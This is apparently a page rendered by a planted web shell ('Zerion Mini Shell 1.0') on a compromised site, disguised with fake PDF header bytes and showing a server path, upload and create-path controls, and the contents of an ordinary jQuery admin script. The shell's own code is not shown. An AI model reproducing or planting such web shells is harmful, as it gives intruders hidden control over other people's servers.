%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/nailstv/public_html/de.nails.tv/js/admin/
Upload File :
Create Path :
Current File : /home/nailstv/public_html/de.nails.tv/js/admin/onload.js

$(document).ready(function() {
    blankTarget();

    $("a.fancybox").fancybox({
        'zoomSpeedIn': 300,
        'zoomSpeedOut': 300,
        'overlayShow': true,
        'hideOnContentClick': false
    });

    $("a.inline_fancybox").fancybox({
        'overlayShow': true,
        'hideOnContentClick': false
    });

    $('.textarea_max').maxlength();
    $('#nestedsortable').NestedSortable(
    	{
    		accept: 'page-item1',
    		opacity: 0.8,
    		helperclass: 'helper',
    		onChange: function(serialized) {
                var i = 0;
                $("ul div").each(function() {
                    var row = $(this);
                    if( row.hasClass("row")) {
                        if(i % 2) row.removeClass('paratlan');
                        else row.addClass('paratlan');
                        i++;
                    }
                });
                ajax('_nestedsort.php', serialized[0].hash);
    		},
    		autoScroll: true
    	}
    );
});

function blankTarget()
{
    if(!document.getElementsByTagName) return;
    var anchors = document.getElementsByTagName("a");
    for(var i=0; i<anchors.length; i++)
    {
        var anchor = anchors[i];
        anchor.tabindex = i;
        if(anchor.getAttribute("href") && anchor.getAttribute("rel") == "external")
        {
            anchor.target = "_blank";
        }
    }
}

Zerion Mini Shell 1.0